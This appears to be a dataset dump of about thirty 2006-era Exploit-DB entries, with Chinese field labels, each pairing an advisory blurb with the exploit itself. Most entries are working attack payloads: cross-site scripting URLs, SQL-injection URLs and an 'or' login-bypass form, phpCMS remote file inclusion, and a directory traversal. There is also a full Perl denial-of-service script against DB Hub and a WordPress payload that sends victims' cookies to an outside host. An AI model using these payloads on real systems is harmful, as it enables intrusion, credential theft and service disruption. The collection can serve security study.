QLWD/code_shield huggingface dataset:
标题: Spooky 2.7 - 'login/register.asp' SQL Injection EDB-ID: 29373 CVE: 2006-6861 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/21822/info

Spooky Login is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

These issues affect version 2.7; other versions may also be vulnerable.

http://www.example.com/spooky/login/register.asp?UserUpdate=[sql] URL: https://www.exploit-db.com/exploits/29373
标题: PHP iCalendar 1.1/2.x - 'print.php' Cross-Site Scripting EDB-ID: 29369 CVE: 2006-6824 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21792/info
      
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
      
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
      
http://www.example.com/phpicalendar/print.php?cal=Home,US+Holidays,Work &getdate=20061225%22%3E%3Cscript%3Ealert()%3C/script%3E&printview=day URL: https://www.exploit-db.com/exploits/29369
标题: PHP iCalendar 1.1/2.x - 'search.php' Cross-Site Scripting EDB-ID: 29367 CVE: 2006-6824 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21792/info
    
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
http://www.example.com/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102&query=ss"><script>alert()</script>&submit.x=11&submit.y=15 

http://www.example.com/phpicalendar/search.php?cpath="><script>alert()</script>&cal=Home %2CUS%2BHolidays%2CWork&getdate=19700102&query=ss&submit.x=11&submit.y=12 

http://www.example.com/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102"><script>alert()</script>&query=ss&submit.x=11&submit.y=12 URL: https://www.exploit-db.com/exploits/29367
标题: PHP iCalendar 1.1/2.x - 'year.php' Cross-Site Scripting EDB-ID: 29365 CVE: 2006-6824 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21792/info
  
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/phpicalendar/year.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script> URL: https://www.exploit-db.com/exploits/29365
标题: PHP iCalendar 1.1/2.x - 'getdate' Cross-Site Scripting EDB-ID: 29368 CVE: 2006-6824 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21792/info
     
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
http://www.example.com/phpicalendar/rss/index.php?cal=Home,US+Holidays,Work &getdate=20061225"><script>alert()</script> URL: https://www.exploit-db.com/exploits/29368
标题: PHP iCalendar 1.1/2.x - 'week.php' Cross-Site Scripting EDB-ID: 29366 CVE: 2006-6824 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21792/info
   
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
http://www.example.com/phpicalendar/week.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script> URL: https://www.exploit-db.com/exploits/29366
标题: VCard Pro - 'gbrowse.php' Cross-Site Scripting EDB-ID: 29376 CVE: 2007-0054 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/21844/info

vCard PRO is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/vcard/gbrowse.php?cat_id=9&sortby=[XSS] URL: https://www.exploit-db.com/exploits/29376
标题: PHP iCalendar 1.1/2.x - 'month.php' Cross-Site Scripting EDB-ID: 29364 CVE: 2006-6824 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21792/info
 
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/phpicalendar/month.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script> URL: https://www.exploit-db.com/exploits/29364
标题: DB Hub 0.3 - Remote Denial of Service EDB-ID: 29362 CVE: 2006-6810 类型: DOS 平台: MULTIPLE 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21791/info

A remote denial-of-service vulnerability affects the DB Hub application because of a memory-corruption flaw when the application attempts to process specially crafted network traffic.

An attacker may exploit this issue to crash affected applications, denying service to legitimate users.

DB Hub version 0.3 is vulnerable to this issue; other versions may also be affected.

#!/usr/bin/perl
# DB Hub (http://dbhub.ir.pl/) DoS exploit 
# Critical Security (http://www.critical.lt)

use IO::Socket;

my $host = $ARGV[0];
my $port = $ARGV[1];
my $nick = $ARGV[2];

print q( 
----------------------------------------------
|  DB Hub (http://dbhub.ir.pl/) DoS exploit  |
----------------------------------------------
);

if (@ARGV < 3) { 
  print "Usage: perl crit_dbhub.pl host port nick\n";
  exit();
}

if ($connect = IO::Socket::INET->new(PeerAddr => $host, 
                                     PeerPort => $port, 
                                     Proto => tcp,
                                     Timeout => 5 ) 
   or die "[-] Can't connect\n") 
    { 
     print "[+] Connected!\n";
    }

$res = $connect->recv($text,200);
if ($text = ~/Lock/) { $connect->send("\$Key vistiek_netikrina|\$ValidateNick $nick|"); }
$connect->send("\$Version 20|\$MyINFO \$ALL $nick  <++ V:0.674,M:A,H:1/0/0,S:11>\$ \$DSL.\$\$19313847685\$|\$GetNickList|");
$connect->send("<$nick>!|"); # xixi
print "[+] Data sent\n"; 
while($text) { $res = $connect->recv($text,200); }
print "[+] Done\n"; URL: https://www.exploit-db.com/exploits/29362
标题: DMXReady Secure Login Manager 1.0 - 'login.asp?sent' SQL Injection EDB-ID: 29358 CVE: 2006-6816 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21788/info

DMXReady Secure Login Manager is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

These issues affect Secure Login Manager 1.0; other versions may also be vulnerable.

http://www.example.com/login.asp?sent=[sql] URL: https://www.exploit-db.com/exploits/29358
标题: PHP iCalendar 1.1/2.x - 'day.php' Cross-Site Scripting EDB-ID: 29363 CVE: 2006-6824 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21792/info

PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/phpicalendar/day.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script> URL: https://www.exploit-db.com/exploits/29363
标题: DMXReady Secure Login Manager 1.0 - 'content.asp?sent' SQL Injection EDB-ID: 29359 CVE: 2006-6816 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21788/info
 
DMXReady Secure Login Manager is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
These issues affect Secure Login Manager 1.0; other versions may also be vulnerable.

http://www.example.com/content.asp?mid=31&incid=17&sent=[sql] URL: https://www.exploit-db.com/exploits/29359
标题: phpCMS 1.1.7 - 'class.edit_PHPcms.php' Remote File Inclusion EDB-ID: 29347 CVE: 2006-3019 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/21768/info
    
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.edit_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] URL: https://www.exploit-db.com/exploits/29347
标题: phpCMS 1.1.7 - 'class.search_PHPcms.php' Remote File Inclusion EDB-ID: 29350 CVE: 2006-3019 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/21768/info
       
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
       
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.search_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] URL: https://www.exploit-db.com/exploits/29350
标题: DMXReady Secure Login Manager 1.0 - '/applications/SecureLoginManager/inc_secureloginmanager.asp?sent' SQL Injection EDB-ID: 29361 CVE: 2006-6816 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21788/info
   
DMXReady Secure Login Manager is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
   
These issues affect Secure Login Manager 1.0; other versions may also be vulnerable.

http://www.example.com//applications/SecureLoginManager/inc_secureloginmanager.asp?sent=[SQL] URL: https://www.exploit-db.com/exploits/29361
标题: DMXReady Secure Login Manager 1.0 - 'members.asp?sent' SQL Injection EDB-ID: 29360 CVE: 2006-6816 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21788/info
  
DMXReady Secure Login Manager is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
These issues affect Secure Login Manager 1.0; other versions may also be vulnerable.

http://www.example.com/members.asp??sent=[sql] URL: https://www.exploit-db.com/exploits/29360
标题: phpCMS 1.1.7 - 'class.layout_PHPcms.php' Remote File Inclusion EDB-ID: 29352 CVE: 2006-3019 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/21768/info
         
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
         
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.layout_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] URL: https://www.exploit-db.com/exploits/29352
标题: phpCMS 1.1.7 - 'class.cache_PHPcms.php' Remote File Inclusion EDB-ID: 29349 CVE: 2006-3019 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/21768/info
      
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
      
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.cache_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] URL: https://www.exploit-db.com/exploits/29349
标题: phpCMS 1.1.7 - 'class.lib_indexer_universal_PHPcms.php' Remote File Inclusion EDB-ID: 29351 CVE: 2006-3019 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/21768/info
        
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
        
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.lib_indexer_universal_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] URL: https://www.exploit-db.com/exploits/29351
标题: WordPress Core 1.x/2.0.x - 'template.php' HTML Injection EDB-ID: 29356 CVE: 2006-6808 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21782/info

Wordpress is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input. 

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to 2.0.6 are vulnerable to this issue.

< img src='https://wordpress-site/wp/wp-admin/templates.php?file=< img src=%27%27 onerror="javascript: var s=(document.location.toString().charAt(6)); var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27); document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">' > URL: https://www.exploit-db.com/exploits/29356
标题: Hosting Controller 7C - 'FolderManager.aspx' Directory Traversal EDB-ID: 29357 CVE: 2006-6814 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/21786/info

Hosting Controller is prone to a directory-traversal vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to modify or retrieve arbitrary files in the context of the webserver process. This may aid in further attacks.

This issue affects version 7C; earlier versions may also be vulnerable.

http://www.example.com/FolderManager/FolderManager.aspx?BrowseLevel=1&BrowsePath=[SITE NORMAL PATH]\..\..\..\..\program%20files URL: https://www.exploit-db.com/exploits/29357
标题: phpCMS 1.1.7 - 'class.http_indexer_PHPcms.php' Remote File Inclusion EDB-ID: 29348 CVE: 2006-3019 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/21768/info
     
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.http_indexer_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] URL: https://www.exploit-db.com/exploits/29348
标题: phpCMS 1.1.7 - 'class.parser_PHPcms.php' Remote File Inclusion EDB-ID: 29345 CVE: 2006-3019 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/21768/info
  
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.parser_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] URL: https://www.exploit-db.com/exploits/29345
标题: Chatwm 1.0 - 'SelGruFra.asp' SQL Injection EDB-ID: 29336 CVE: 2006-6791 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/21732/info

Chatwm is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Manual connect :

Go to Admin Panel Login -----> http://www.example.com/[path to script]/login.asp

Remote connect :

<title>Remote Admin Attack - LiderHack.Org // Hacking & Security PortaL</title>
<center>ShaFuck31 - LiderHack.Org</center>
<FORM NAME=giris ACTION="http://www.example.com/d/asp/SelGruFra.asp" METHOD=post>
<table align=center>
<td>Kullanici Adi:</td><td><INPUT NAME=txtUse class="input" value="'or'" SIZE=15></td>
</tr><tr>
<td>Sifre:</td><td><INPUT NAME=txtPas TYPE=text class="input" value="'or'" SIZE=15></td>
</tr><tr>
<td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td>
</tr></table></form> URL: https://www.exploit-db.com/exploits/29336
标题: Efkan Forum 1.0 - 'Grup' SQL Injection EDB-ID: 29333 CVE: 2006-6794 类型: WEBAPPS 平台: ASP 发布日期: 2006-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/21726/info

Efkan Forum is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ScriptPath/default.asp?islem=gruplar&grup=[SQL] URL: https://www.exploit-db.com/exploits/29333
标题: phpCMS 1.1.7 - 'counter.php' Remote File Inclusion EDB-ID: 29343 CVE: 2006-3019 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/21768/info

phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/plugs/counter.php?PHPCMS_INCLUDEPATH=[cmd_url] URL: https://www.exploit-db.com/exploits/29343
标题: Future Internet - 'index.cfm' Multiple SQL Injections EDB-ID: 29334 CVE: 2006-6776 类型: WEBAPPS 平台: CFM 发布日期: 2006-12-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/21727/info

Future Internet is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.

An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/path_of_script/index.cfm?fuseaction=Portal.Showpage&categoryid=311&newsId=[SQL]
http://www.example.com/path_of_script/index.cfm?fuseaction=Portal.Showpage&categoryid=[SQL]
http://www.example.com/path_of_script/index.cfm?langId=[SQL] URL: https://www.exploit-db.com/exploits/29334
标题: Future Internet - 'index.cfm?categoryId' Cross-Site Scripting EDB-ID: 29335 CVE: 2006-6777 类型: WEBAPPS 平台: CFM 发布日期: 2006-12-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/21727/info
 
Future Internet is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because it fails to sufficiently sanitize user-supplied input.
 
An attacker could exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/path_of_script/index.cfm?fuseaction=Portal.ShowPage&categoryId=[XSS] URL: https://www.exploit-db.com/exploits/29335
标题: phpCMS 1.1.7 - 'parser.php' Remote File Inclusion EDB-ID: 29344 CVE: 2006-3019 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/21768/info
 
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/parser.php?PHPCMS_INCLUDEPATH=[cmd_url]/ URL: https://www.exploit-db.com/exploits/29344
标题: TimberWolf 1.2.2 - 'shownews.php' Cross-Site Scripting EDB-ID: 29337 CVE: 2006-6778 类型: WEBAPPS 平台: PHP 发布日期: 2006-12-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/21733/info

TimberWolf is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.2.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/shownews.php?nid=>'><ScRiPt%20%0a%0d>alert(1261667191)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/29337